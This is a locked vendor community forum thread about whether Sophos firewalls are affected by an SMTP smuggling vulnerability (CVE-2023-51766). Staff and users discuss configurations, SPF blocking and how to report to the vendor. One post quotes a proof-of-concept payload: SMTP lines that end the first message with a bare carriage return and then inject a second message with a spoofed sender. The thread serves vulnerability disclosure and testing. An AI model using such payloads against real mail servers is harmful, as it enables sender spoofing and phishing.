Important note about SSL VPN compatibility for 20.0 MR1 with EoL SFOS versions and UTM9 OS. Learn more in the release notes.

This discussion has been locked.
You can no longer post new replies to this discussion. If you have a question you can start a new discussion

SFOS and SG UTM affected by SMTP/EXIM CVE-2023-51766?

Hi, 

are SOFS and SG UTM affected by CVE-2023-51766 (Sender Spoofing by SMTP)?



This thread was automatically locked due to age.
Parents Reply Children
  • Sure if you can share the logs and a sample smuggled email, that would be helpful. If you can share your exim.conf file that would be even better. 

    We tested & reproduced the smtp smuggling vulnerability, and confirmed on both SFOS & UTM with default configuration (chunking disabled) they're safe. 

  • Hello,

    Adding to what Bobby mentioned, please open a case with Support, submit the Samples and share the Case ID. 

    You can find the exim.conf file in the following path # cat /var/storage/chroot-smtp/etc/exim.conf 

    Regards,


     
    Emmanuel (EmmoSophos)
    Technical Team Lead, Global Community Support
    Sophos Support VideosProduct Documentation  |  @SophosSupport  | Sign up for SMS Alerts
    If a post solves your question use the 'Verify Answer' link.
  • Are you sure, you are not using a Header From Spoof attack, which UTM does not cover? 

    __________________________________________________________________________________________________________________

  • I don't think so, this was smuggling

    poc payload looks something like this

    send: sending "From: test@[valid domain #1]co.nz\r" to { exp4 }
    send: sending "To: validrecipient@[valid domain #2].co.nz\r" to { exp4 }
    send: sending "Subject: 1st email\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending "1st email content with many others emails\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending ".\r" to { exp4 }
    send: sending "mail FROM:<spoofedvalidrecipient#1@[invalid domain #1].co.nz>\r" to { exp4 }
    send: sending "rcpt TO:<validrecipient#1@[valid domain #2].co.nz>\r" to { exp4 }
    send: sending "data\r" to { exp4 }
    send: sending "From: spoofedvalidrecipient#1@[invalid domain #1].co.nz\r" to { exp4 }
    send: sending "To: validrecipient#1@[valid domain #2].co.nz\r" to { exp4 }
    send: sending "Subject: Spoofed email #1\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending "Content of the #1 spoofed email\r" to { exp4 }
    send: sending "\r" to { exp4 }
    send: sending ".\r" to { exp4 }

    poc code (modified) can be found here CVE-2023-51764.sh

  • Hello,

    As mentioned if you want this to be investigated further, please submit the original logs along with your exim.conf file.

    Regards,


     
    Emmanuel (EmmoSophos)
    Technical Team Lead, Global Community Support
    Sophos Support VideosProduct Documentation  |  @SophosSupport  | Sign up for SMS Alerts
    If a post solves your question use the 'Verify Answer' link.
  • Home user - waiting on support account to be registered. before providing logs.

  • Hi,

    you won't get a support account created as a home user. You might be able to send them to Emmanuel to forward to the support team.

    Ian

    XG115W - v20.0.1 MR-1 - Home

    XG on VM 8 - v20 GA

    If a post solves your question please use the 'Verify Answer' button.

  • Eh - gave up mucking about with raising a support ticket... have emailed security-alert@sophos.com (as per security.txt) - it'll either be fixed, or ignored. So we'll see in 87(90-3) days...

  • Thank you for the details Seth, I'll get our engineering team to look into this further. 

  • Regardless of the investigation of Sophos (DEV) i took a look at your code  . 
    My SFOS appliances does block the second email with SPF sent by the CVE code. 
    What did you use as a Spoof Email? Because my Email has a valid SPF Record first and then the second (spoof) email is a SPF Hardfail Email - Which gets blocked. 

    I could see individual SPF checks for each mail based on the Email CVE script. 

    What kind of examples did you use Seth?

    __________________________________________________________________________________________________________________